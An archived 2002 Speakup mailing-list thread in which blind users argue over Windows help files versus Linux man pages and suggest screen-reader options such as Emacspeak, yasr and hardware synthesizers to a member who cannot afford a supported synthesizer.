> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press
> some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or
the
> right
> > > > mouse button and choose "what's this?" or press F1 to view the help
> file
> > > > wich is much much more easier to navigate than the man pages under
> Linux.
> > SNIP
> >
> > A fake.
> > man pages under GNU/Linux are a lot easier to navigate than windows help
> > pages.
> > you need to route the jaws cursor to the pc and then fart around trying
to
> > find what you were looking for.
> > even with the new features in jfw I seriously doubt you could navigate a
> > help file easier than a man page..
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

Greg:

I'm pretty sure he isn't using Speakup. He doesn't have a
supported synth. He telnets from his Windows machine, as I
recall, and he's tried using ViaVoice directly with emacspeak. Of
course, the latter is a very steep learning curve.

Still, he's got the DEC Talk internal, and emacs with or without
emacspeak is worth learning. Without emacspeak, he can run it
over telnet--but I doubt JFW is all that great as a telnet
client's screen review program. Also, the default Microsoft
telnet is pretty lame. I would think this setup is fraught with
frustration.

So, emacspeak with that DEC Talk is probably his smartest option
right now, with the telnet as a back up to avoid rebooting.

I have also suggest yasr and eflite, but he's insisting on
nothing less than Eloquence for free, so the DEC Talk is probably
the best compromise.

Another option would be a better screen reader for telnet and a
better telnet client. That would mean a good DOS screen reader
like asap or Vocal-Eyes, assuming he can actually run DOS on that
Windows machine. Neither of those is very cheap, though, and
spending that much money would be dumb, because he could get a
good Doubletalk for less than the cost of that software.

On Sun, 19 May 2002, Gregory Nowak wrote:

> We're all assuming he's using speakup since he's here. But from all of Tedy's comments in other posts, I am beginning to get the impression that he's not, since he seems to be asking for screen readers which support software tts.
> Greg
> 
> 
> On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > Try man < emacs|less then use the speakup keys to read line by line, or
> > word by word if you wish. you can bring up the next page by hitting the
> > space bar.
> > 
> > 
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > 
> > > Please enlighten me.
> > > I never used the Jaws cursor in the new HTML help  format under Windows.
> > > Select an item in the tree view, press enter, then press F6 and it will
> > > automaticly start reading that help item. It is a simple HTML file there,
> > > and it works exactly as simple as Internet Explorer.
> > > You don't need the Jaws cursor at all.
> > > 
> > > You needed the Jaws cursor only for some bad designed help files in the old
> > > .hlp format.
> > > Now in the new .chm format, you don't have any problems.
> > > 
> > > But this doesn't matter too much. Please tell me how to navigate the man
> > > pages.
> > > I type man mv, for example.
> > > It starts to print all the help file, but maybe I want to move with a page
> > > up then down, etc.
> > > 
> > > I know this is possible. Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > > 
> > > ----- Original Message -----
> > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 8:05 AM
> > > Subject: Re: interesting experiment.
> > > 
> > > 
> > > SNIP
> > > > > You open a window, and it explains you what you should do there.
> > > > > You have to press the space bar to check some checkboxes, to press some
> > > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > > right
> > > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > > wich is much much more easier to navigate than the man pages under
> > > Linux.
> > > SNIP
> > > 
> > > A fake.
> > > man pages under GNU/Linux are a lot easier to navigate than windows help
> > > pages.
> > > you need to route the jaws cursor to the pc and then fart around trying to
> > > find what you were looking for.
> > > even with the new features in jfw I seriously doubt you could navigate a
> > > help file easier than a man page..
> > > 
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Missed it, or just ignored it. Whichever, I certainly forgot it.
If I'm the one who lost context, then my apologies.

On Sun, 19 May 2002, Gregory Nowak wrote:

> No, but there was a jfw specific comment earlier (not from Tedy, I forget who it was from). You seem to have missed it.
> Greg
> 
> 
> On Sun, May 19, 2002 at 11:19:21PM -0400, Janina Sajka wrote:
> > I have no idea what you're talking about. This isn't a JFW list.
> > 
> > Was there a question here? Or what is this all about?
> > 
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > 
> > > Please enlighten me.
> > > I never used the Jaws cursor in the new HTML help  format under Windows.
> > > Select an item in the tree view, press enter, then press F6 and it will
> > > automaticly start reading that help item. It is a simple HTML file there,
> > > and it works exactly as simple as Internet Explorer.
> > > You don't need the Jaws cursor at all.
> > > 
> > > You needed the Jaws cursor only for some bad designed help files in the old
> > > .hlp format.
> > > Now in the new .chm format, you don't have any problems.
> > > 
> > > But this doesn't matter too much. Please tell me how to navigate the man
> > > pages.
> > > I type man mv, for example.
> > > It starts to print all the help file, but maybe I want to move with a page
> > > up then down, etc.
> > > 
> > > I know this is possible. Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > > 
> > > ----- Original Message -----
> > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 8:05 AM
> > > Subject: Re: interesting experiment.
> > > 
> > > 
> > > SNIP
> > > > > You open a window, and it explains you what you should do there.
> > > > > You have to press the space bar to check some checkboxes, to press some
> > > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > > right
> > > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > > wich is much much more easier to navigate than the man pages under
> > > Linux.
> > > SNIP
> > > 
> > > A fake.
> > > man pages under GNU/Linux are a lot easier to navigate than windows help
> > > pages.
> > > you need to route the jaws cursor to the pc and then fart around trying to
> > > find what you were looking for.
> > > even with the new features in jfw I seriously doubt you could navigate a
> > > help file easier than a man page..
> > > 
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > 
> > -- 
> > 	
> > 				Janina Sajka, Director
> > 				Technology Research and Development
> > 				Governmental Relations Group
> > 				American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net		Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Octavian Rasnita]

Ok, I don't want to learn Emacspeak at all.
I would like to be able to use a real screen reader but unfortunately it is
not possible without a hardware sinthesizer which is expensive.
I have one, but it is not supported by a real screen reader.

I would like to have a screen reader that starts at startup, which can be
used to read the screen in pine, pico, lynx, and the command line.
Is this possible without a hardware sinthesizer?
Am I asking too much from the best OS?

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 6:46 AM
Subject: Re: interesting experiment.


This is not an important problem. You have more important things
to worry about than this.

Also, using emacs' terminal mode is probably not the smartest way
to learn about emacs.

If you're trying to learn emacs, you shouldn't start with that.
You're trying to run, and you haven't even learned how to crawl
yet.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Of course, because that problem happend me for more times.
>
> I think I found a little problem but I am not sure.
>
> When it starts, emacspeak  tell me that message that it is functioning
> normally (BTW. How can I change that message?)  and I don't care about
that
> message and I start pressing the normal shortcuts for launching the
terminal
> mode before it finishes the message. When I do that, the terminal doesn't
> start.
> If I let emacspeak to finish its message, I can start it.
>
> How can I stop the voice? What key should I press if I want to stop the
> message?
> I searched in the help file but I couldn't find it.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 3:42 AM
> Subject: Re: interesting experiment.
>
>
> Octavian: You need to explain yourself.
>
> What is the meaning of "of course" in your message?
>
> What's that about?
>
> Also, why are you rebooting? That's your hangover from Windows.
>
> Get a clue. That's not the way to get out of trouble.
>
> Your emacs is probably working just fine, and you can probably
> get back to your buffer list with c-x c-b
>
> Now, instead of whining at the first sign of trouble, why not
> study how to use the program a bit? Have you read the tutorials?
> What can you succeed with? Or, did you just come here to say:
>
> "of course"
>
> to us.
>
> I won't accept that. Not from you, not from anyone.
>
> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > I press the keys for  launching the terminal mode under Emacspeak, I
type
> a
> > simple ls command to test it, I won't hear anything of course, then the
> > computer stopped speaking, and I need to reboot it.
> > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > I don't know.
> > Thank you for putting me to learn. <gee>
> > Do you have a link to a text file with all the command lines used by
> > emacspeak?
> > I've tried that help, but I couldn't find how to set the speed of voice
> > sinthesizer faster, nor how to read a text at once, not line by line.
> > I also would like to know how can I skip the text when I read this way.
> >
> > In Windows, I can put the screen reader to read in "say all" mode and if
I
> > press the right shift, it skips a line and continue reading without
> > stopping.
> > If I press the left shift, it goes back with a line and continue reading
> > without stopping.
> >
> > This is a good feature and I am sure it should be in Emacspeak also.
> > However, I couldn't find it.
> >
> > I would also like to know if there is a kind of control panel for
> emacspeak,
> > where I can set all the variables, a configuration file, etc.
> > Emacspeak starts with a text file which is not too big and I should read
a
> > lot of things before finding how to set the sinthesizer faster.
> > And I don't  have the patience to listen how slowly it speaks.
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 6:17 AM
> > Subject: Re: interesting experiment.
> >
> >
> > No joke. Emacs is easier than Windows.
> >
> > Now, Octavian, stop belly aching and go learn how to do
> > something.
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > Do you mean that using Emacspeak is easier than using Windows?
> > > Nice joke. Really.
> > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> likes
> > > to crash so often, or other software sinthesizers hard to understand,
> ...
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Ann Parsons" <akp@eznet.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 11:53 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Hi all,
> > >
> > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > output system that uses software speech.
> > >
> > > Ann P.
> > >
> > > --
> > > Ann K. Parsons
> > > email:  akp@eznet.net ICQ Number:  33006854
> > > WEB SITE:  http://home.eznet.net/~akp
> > > "All that is gold does not glitter.  Not all those who wander are
lost."
> > > JRRT
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Deedra Waters]

>From some of the comments he's made both  on and off list I get the
impression that money is a major issue. meaning that he 1 can't afford to
get a new synth to fully use speakup and 2 he can't afford to pay for
software either.



On Mon, 20 May 2002, Janina Sajka wrote:

> Greg:
> 
> I'm pretty sure he isn't using Speakup. He doesn't have a
> supported synth. He telnets from his Windows machine, as I
> recall, and he's tried using ViaVoice directly with emacspeak. Of
> course, the latter is a very steep learning curve.
> 
> Still, he's got the DEC Talk internal, and emacs with or without
> emacspeak is worth learning. Without emacspeak, he can run it
> over telnet--but I doubt JFW is all that great as a telnet
> client's screen review program. Also, the default Microsoft
> telnet is pretty lame. I would think this setup is fraught with
> frustration.
> 
> So, emacspeak with that DEC Talk is probably his smartest option
> right now, with the telnet as a back up to avoid rebooting.
> 
> I have also suggest yasr and eflite, but he's insisting on
> nothing less than Eloquence for free, so the DEC Talk is probably
> the best compromise.
> 
> Another option would be a better screen reader for telnet and a
> better telnet client. That would mean a good DOS screen reader
> like asap or Vocal-Eyes, assuming he can actually run DOS on that
> Windows machine. Neither of those is very cheap, though, and
> spending that much money would be dumb, because he could get a
> good Doubletalk for less than the cost of that software.
> 
> On Sun, 19 May 2002, Gregory Nowak wrote:
> 
> > We're all assuming he's using speakup since he's here. But from all of Tedy's comments in other posts, I am beginning to get the impression that he's not, since he seems to be asking for screen readers which support software tts.
> > Greg
> > 
> > 
> > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > Try man < emacs|less then use the speakup keys to read line by line, or
> > > word by word if you wish. you can bring up the next page by hitting the
> > > space bar.
> > > 
> > > 
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > 
> > > > Please enlighten me.
> > > > I never used the Jaws cursor in the new HTML help  format under Windows.
> > > > Select an item in the tree view, press enter, then press F6 and it will
> > > > automaticly start reading that help item. It is a simple HTML file there,
> > > > and it works exactly as simple as Internet Explorer.
> > > > You don't need the Jaws cursor at all.
> > > > 
> > > > You needed the Jaws cursor only for some bad designed help files in the old
> > > > .hlp format.
> > > > Now in the new .chm format, you don't have any problems.
> > > > 
> > > > But this doesn't matter too much. Please tell me how to navigate the man
> > > > pages.
> > > > I type man mv, for example.
> > > > It starts to print all the help file, but maybe I want to move with a page
> > > > up then down, etc.
> > > > 
> > > > I know this is possible. Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > > 
> > > > ----- Original Message -----
> > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > Subject: Re: interesting experiment.
> > > > 
> > > > 
> > > > SNIP
> > > > > > You open a window, and it explains you what you should do there.
> > > > > > You have to press the space bar to check some checkboxes, to press some
> > > > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > > > right
> > > > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > > > wich is much much more easier to navigate than the man pages under
> > > > Linux.
> > > > SNIP
> > > > 
> > > > A fake.
> > > > man pages under GNU/Linux are a lot easier to navigate than windows help
> > > > pages.
> > > > you need to route the jaws cursor to the pc and then fart around trying to
> > > > find what you were looking for.
> > > > even with the new features in jfw I seriously doubt you could navigate a
> > > > help file easier than a man page..
> > > > 
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 	
> 				Janina Sajka, Director
> 				Technology Research and Development
> 				Governmental Relations Group
> 				American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net		Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Janina Sajka]

Yes, I have the same impression.

Unfortunately, that puts him in a bit of a bind, but only until
he gets over his beginner's hump with emacspeak and his internal
DEC Talk. He should be OK after that.

On Mon, 20 May 2002, Deedra Waters wrote:

> >From some of the comments he's made both  on and off list I get the
> impression that money is a major issue. meaning that he 1 can't afford to
> get a new synth to fully use speakup and 2 he can't afford to pay for
> software either.
> 
> 
> 
> On Mon, 20 May 2002, Janina Sajka wrote:
> 
> > Greg:
> > 
> > I'm pretty sure he isn't using Speakup. He doesn't have a
> > supported synth. He telnets from his Windows machine, as I
> > recall, and he's tried using ViaVoice directly with emacspeak. Of
> > course, the latter is a very steep learning curve.
> > 
> > Still, he's got the DEC Talk internal, and emacs with or without
> > emacspeak is worth learning. Without emacspeak, he can run it
> > over telnet--but I doubt JFW is all that great as a telnet
> > client's screen review program. Also, the default Microsoft
> > telnet is pretty lame. I would think this setup is fraught with
> > frustration.
> > 
> > So, emacspeak with that DEC Talk is probably his smartest option
> > right now, with the telnet as a back up to avoid rebooting.
> > 
> > I have also suggest yasr and eflite, but he's insisting on
> > nothing less than Eloquence for free, so the DEC Talk is probably
> > the best compromise.
> > 
> > Another option would be a better screen reader for telnet and a
> > better telnet client. That would mean a good DOS screen reader
> > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > Windows machine. Neither of those is very cheap, though, and
> > spending that much money would be dumb, because he could get a
> > good Doubletalk for less than the cost of that software.
> > 
> > On Sun, 19 May 2002, Gregory Nowak wrote:
> > 
> > > We're all assuming he's using speakup since he's here. But from all of Tedy's comments in other posts, I am beginning to get the impression that he's not, since he seems to be asking for screen readers which support software tts.
> > > Greg
> > > 
> > > 
> > > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > > Try man < emacs|less then use the speakup keys to read line by line, or
> > > > word by word if you wish. you can bring up the next page by hitting the
> > > > space bar.
> > > > 
> > > > 
> > > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > > 
> > > > > Please enlighten me.
> > > > > I never used the Jaws cursor in the new HTML help  format under Windows.
> > > > > Select an item in the tree view, press enter, then press F6 and it will
> > > > > automaticly start reading that help item. It is a simple HTML file there,
> > > > > and it works exactly as simple as Internet Explorer.
> > > > > You don't need the Jaws cursor at all.
> > > > > 
> > > > > You needed the Jaws cursor only for some bad designed help files in the old
> > > > > .hlp format.
> > > > > Now in the new .chm format, you don't have any problems.
> > > > > 
> > > > > But this doesn't matter too much. Please tell me how to navigate the man
> > > > > pages.
> > > > > I type man mv, for example.
> > > > > It starts to print all the help file, but maybe I want to move with a page
> > > > > up then down, etc.
> > > > > 
> > > > > I know this is possible. Thanks.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > > 
> > > > > ----- Original Message -----
> > > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > > Subject: Re: interesting experiment.
> > > > > 
> > > > > 
> > > > > SNIP
> > > > > > > You open a window, and it explains you what you should do there.
> > > > > > > You have to press the space bar to check some checkboxes, to press some
> > > > > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > > > > right
> > > > > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > > > > wich is much much more easier to navigate than the man pages under
> > > > > Linux.
> > > > > SNIP
> > > > > 
> > > > > A fake.
> > > > > man pages under GNU/Linux are a lot easier to navigate than windows help
> > > > > pages.
> > > > > you need to route the jaws cursor to the pc and then fart around trying to
> > > > > find what you were looking for.
> > > > > even with the new features in jfw I seriously doubt you could navigate a
> > > > > help file easier than a man page..
> > > > > 
> > > > > 
> > > > > 
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > 
> > > > > 
> > > > > 
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > 
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > 
> > -- 
> > 	
> > 				Janina Sajka, Director
> > 				Technology Research and Development
> > 				Governmental Relations Group
> > 				American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net		Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Ryan Mann]

Have you tried Yasr? It is at the URL http://mgorse.dhs.org:8000.  On Mon, 
20 May 2002, Octavian Rasnita wrote:

> Ok, I don't want to learn Emacspeak at all.
> I would like to be able to use a real screen reader but unfortunately it is
> not possible without a hardware sinthesizer which is expensive.
> I have one, but it is not supported by a real screen reader.
> 
> I would like to have a screen reader that starts at startup, which can be
> used to read the screen in pine, pico, lynx, and the command line.
> Is this possible without a hardware sinthesizer?
> Am I asking too much from the best OS?
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 6:46 AM
> Subject: Re: interesting experiment.
> 
> 
> This is not an important problem. You have more important things
> to worry about than this.
> 
> Also, using emacs' terminal mode is probably not the smartest way
> to learn about emacs.
> 
> If you're trying to learn emacs, you shouldn't start with that.
> You're trying to run, and you haven't even learned how to crawl
> yet.
> 
> On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Of course, because that problem happend me for more times.
> >
> > I think I found a little problem but I am not sure.
> >
> > When it starts, emacspeak  tell me that message that it is functioning
> > normally (BTW. How can I change that message?)  and I don't care about
> that
> > message and I start pressing the normal shortcuts for launching the
> terminal
> > mode before it finishes the message. When I do that, the terminal doesn't
> > start.
> > If I let emacspeak to finish its message, I can start it.
> >
> > How can I stop the voice? What key should I press if I want to stop the
> > message?
> > I searched in the help file but I couldn't find it.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 3:42 AM
> > Subject: Re: interesting experiment.
> >
> >
> > Octavian: You need to explain yourself.
> >
> > What is the meaning of "of course" in your message?
> >
> > What's that about?
> >
> > Also, why are you rebooting? That's your hangover from Windows.
> >
> > Get a clue. That's not the way to get out of trouble.
> >
> > Your emacs is probably working just fine, and you can probably
> > get back to your buffer list with c-x c-b
> >
> > Now, instead of whining at the first sign of trouble, why not
> > study how to use the program a bit? Have you read the tutorials?
> > What can you succeed with? Or, did you just come here to say:
> >
> > "of course"
> >
> > to us.
> >
> > I won't accept that. Not from you, not from anyone.
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > I press the keys for  launching the terminal mode under Emacspeak, I
> type
> > a
> > > simple ls command to test it, I won't hear anything of course, then the
> > > computer stopped speaking, and I need to reboot it.
> > > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > > I don't know.
> > > Thank you for putting me to learn. <gee>
> > > Do you have a link to a text file with all the command lines used by
> > > emacspeak?
> > > I've tried that help, but I couldn't find how to set the speed of voice
> > > sinthesizer faster, nor how to read a text at once, not line by line.
> > > I also would like to know how can I skip the text when I read this way.
> > >
> > > In Windows, I can put the screen reader to read in "say all" mode and if
> I
> > > press the right shift, it skips a line and continue reading without
> > > stopping.
> > > If I press the left shift, it goes back with a line and continue reading
> > > without stopping.
> > >
> > > This is a good feature and I am sure it should be in Emacspeak also.
> > > However, I couldn't find it.
> > >
> > > I would also like to know if there is a kind of control panel for
> > emacspeak,
> > > where I can set all the variables, a configuration file, etc.
> > > Emacspeak starts with a text file which is not too big and I should read
> a
> > > lot of things before finding how to set the sinthesizer faster.
> > > And I don't  have the patience to listen how slowly it speaks.
> > >
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:17 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > No joke. Emacs is easier than Windows.
> > >
> > > Now, Octavian, stop belly aching and go learn how to do
> > > something.
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > Nice joke. Really.
> > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > likes
> > > > to crash so often, or other software sinthesizers hard to understand,
> > ...
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Ann Parsons" <akp@eznet.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > Hi all,
> > > >
> > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > output system that uses software speech.
> > > >
> > > > Ann P.
> > > >
> > > > --
> > > > Ann K. Parsons
> > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > WEB SITE:  http://home.eznet.net/~akp
> > > > "All that is gold does not glitter.  Not all those who wander are
> lost."
> > > > JRRT
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
